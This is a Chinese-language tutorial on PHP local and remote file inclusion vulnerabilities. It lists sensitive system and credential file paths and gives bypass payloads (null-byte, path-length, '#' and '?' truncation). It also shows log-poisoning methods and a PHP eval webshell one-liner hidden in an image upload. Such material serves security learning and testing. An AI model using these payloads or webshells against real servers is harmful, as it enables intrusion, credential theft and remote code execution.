目录
1.概述
文件包含,是一个功能。在各种开发语言中都提供了内置的文件包含函数,其可以使开发人员在一个代码文件中直接包含(引入)另外一个代码文件。比如在PHP中,提供了:include(),include_once(),require(),require_once()。这些文件包含函数,这些函数在代码设计中被经常使用到。
大多数情况下,文件包含函数中包含的代码文件是固定的,因此也不会出现安全问题。但是,有些时候,文件包含的代码文件被写成了一个变量,且这个变量可以由前端用户传进来,这种情况下,如果没有做足够的安全考虑,则可能会引发文件包含漏洞。攻击者会指定一个“意想不到”的文件让包含函数去执行,从而造成恶意操作。
2.常见漏洞引发的函数及敏感路径
include()当使用该函数包含文件时,只有代码执行到include()函数时才将文件包含进来,如果包含的类型不符合而发生错误时只给出一个警告,并继续向下执行。
include_once()功能和include()相同,区别在于当重复调用同一文件时,具有include_once()函数的程序只调用一次。
require()只要程序一执行就会立即调用文件,发生错误的时候会输出错误信息,并且终止脚本的运行。
2.1 常见的敏感信息路径
2.1.1 Windows系统
C:\boot.ini //查看系统版本
C:\windows\system32\inetsrv\MetaBase.xml //IIS配置文件
C:\windows\repair\sam //存储windows系统初次安装的密码
C:\ProgramFiles\mysql\my.ini //mysql配置
C:\ProgramFiles\mysql\data\mysql\user.MYD //Mysql root
C:\windows\php.ini //php配置信息
C:\windows\my.ini //mysql配置文件
2.1.2 UNIX/Linux系统
/etc/passwd/usr/local/app/apache2/conf/httpd.conf //apache2默认配置文件
/usr/local/app/apache2/conf/extra/httpd-vhosts.conf //虚拟网站设置
/usr/local/app/php5/lib/php.ini //PHP相关配置
/etc/httpd/conf/httpd.conf //apache
/etc/php5/apache2/php.ini //ubuntu系统的默认路径
3.文件包含分类(本地与远程包含)
根据不同的配置环境,文件包含漏洞分为如下两种情况:本地文件包含和远程文件包含
4.本地文件包含漏洞(LFI)
本地文件包含漏洞:仅能够对服务器本地的文件进行包含,由于服务器上的文件并不是攻击者所能够控制的,因此该情况下,攻击者更多的会包含一些固定的系统配置文件,从而读取系统敏感信息。很多时候本地文件包含漏洞会结合一些特殊的文件上传漏洞,从而形成更大的威力。
4.1 无限制(没有拦截与限制可以任意包含)
4.1.1 直接读取
如xxx/php?filename=test.txt等
4.1.2 跨目录读取
../../../(跳过目录,相对路径的格式)../是上一级的目录,如果漏洞存在,文件又存在的时候,不是php文件会被读取显示在页面中.
4.1.3 文件包含图片(利用图片马进行解析)
寻找网站上传点,把php恶意代码文件改成jpg上传到网站上,本地包含引入恶意代码,当文件被引入后代码就被执行
<?php phpinfo();eval($_POST['A'];?>保存为shell.jpg
上传图片格式到网站,再用文件包含漏洞以内图片,成功执行代码,获取webshell
4.2 有限制本地文件包含
有限制本地文件包含漏洞是指代码中存在特定的前缀或者php、html等后缀,需要绕过前缀或者后缀,才能利用文件包含漏洞读取操作系统中的其他文件,获取敏感信息。
常见的有限制本地文件包含绕过的方式主要有%00截断、路径长度截断、点号截断这几种方式。
4.2.1 %00绕过
PHP的00截断是5.2.x版本的一个漏洞,当用户输入的url参数包含%00经过浏览器自动转码后截断后面字符。
常见利用%00截断payload:
ip/xx/xxx.phplang=../data/feedbackimg/1.gif%00.
既然时利用%00来绕过,那么为什么在这个payload中的%00后面会有一个符号点呢。
原因在于,php(5.2.xx版本)去解析php文件的主要的执行流程是在Zend/zend.c的zend_execute_scripts函数会通过zendparse去进行语法和词法解析,而zendparse是通过lex_scan去扫描出token并进行语法分析。文件名参数经过lex_scan后的数据会扫描出经过url编码的长度值,该长度值会和文件名长度值进行比较,如果长度不一样则会打开文件失败。所以这里如果以%00截断的话1.gif%00文件名的长度为23,经过url编码后为1.gif\000,lex_scan扫描的长度时24,则会打开失败。
如果以%00.来截断的话1.gif%00.,文件名的长度为24,编码后为:1.gif\000.,但扫描的长度到\000就被截断了,所以长度也为24。长度一样文件被正常打开。后面的点符号可以被替换成任何一个字符(除空格以外,因为空格不算一个字符)。
4.2.2 路径长度截断
操作系统存在最长目录的限制,可以通过输入超过最长目录的路径长度,这样系统就会将后面的路径丢弃,导致后缀截断。
windows下目录最大长度为256字节,点号需要长于256。
Linux下目录最大长度为4096字节,点号需要长于4096。输入测试代码:
注意输入路径时不要出现相邻符号相同(如:..//)
http://1.1.1.1/fi/02.php?filename=test.txt/./././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././
注:点号截断文件包含适用于Windows系统,需当点号的长度大于256,就可以造成截断。
4.3 日志包含
日志包含概述:日志包含漏洞属于是本地文件包含,服务器中的中间件、SSH等服务都有记录日志的功能,如果开启了记录日志功能,用户访问的日志都会存储到不同服务的相关文件中,如果日志文件的位置是默认位置或者是可以通过其他方法获取到,就可以通过访问日志将恶意代码写入到日志文件中,然后通过文件包含漏洞,包含日志中的恶意代码,获得Web服务器的权限。
典型的日志文件包含有中间件日志文件包含和SSH日志包含。
4.3.1 中间件日志文件包含
中间件日志文件包含利用条件:Web中间件日志的存储位置已知,并且有可读权限。
利用方式:首先需要开启服务器记录日志功能。在不同的系统,存放日志文件地方和文件名不同。
apache一般是/var/log/apache/access.log。
nginx的log在/var/log/nginx/access.log和/var/log/nginx/error.log。
由于访问URL时,服务器会对其编码,所以得通过抓包的形式尝试注入
那么利用这一功能(利用中间件会记录访问路径到日志文件中的功能),将index.php替换成恶意代码写入到日志中。在访问的路径中添加一句话木马的恶意代码<?php@eval($_POST[123]);?>访问。发现会提示404错误
4.3.2 ssh日志文件包含
利用方式:在登陆目标机的ssh服务的时候,随便输入一个用户名和密码会提示登录会失败,利用这一日志存储特性,将恶意代码写入到日志文件中,进行ssh日志文件包含利用
在linux系统中,几个常见的ssh日志文件存储位置为:
/var/log/btmp记录错误的登录尝试;
/var/log/lastlog记录每个用户最后的登录信息;
/var/run/utmp记录现在登录的用户;
/var/log.boot.log:记录一些开机或者关机启动的一些服务显示的启动或者关闭的信息;
/var/log/auth.log用户认证日志;
/var/log/syslog 事件记录监控程序日志;
5.远程文件包含
当不知道对方服务器有哪些文件,能够通过url地址对远程的文件进行包含,这意味着攻击者可以将自己服务器上的文件下载到被攻击者的服务器上。因此,在web应用系统的功能设计上尽量不要让前端用户直接传变量给包含函数,如果非要这么做,也一定要做严格的白名单策略进行过滤。
5.1 无限制远程文件包含
无限制远程文件包含,我们只需要将远程地址与函数一起构造,便可实现远程文件包含,如常见payload:http://192.168.1.1/fi/php?filename=http://远程ip/1.txt(包含的文件)
5.2 有限制远程包含
5.2.1 #号绕过
通过#绕过后面添加的html字符串,#号后面的html后缀会被当做fragment从而绕过。构造的payload为:http://ip/fi/05.php?filename=http://127.0.0.1/fi/test.txt%23(#需要经过url编码形成%23)
5.2.2 ?(问号)绕过
通过问号绕过后面添加的html字符串,问号后面的html后缀会被当做查询从而绕过。
利用条件:
php>=5.3
allow_url_fopen On
allow_url_include On
Payload:http://ip/fi/05.php?filename=http://127.0.0.1/fi/test.txt?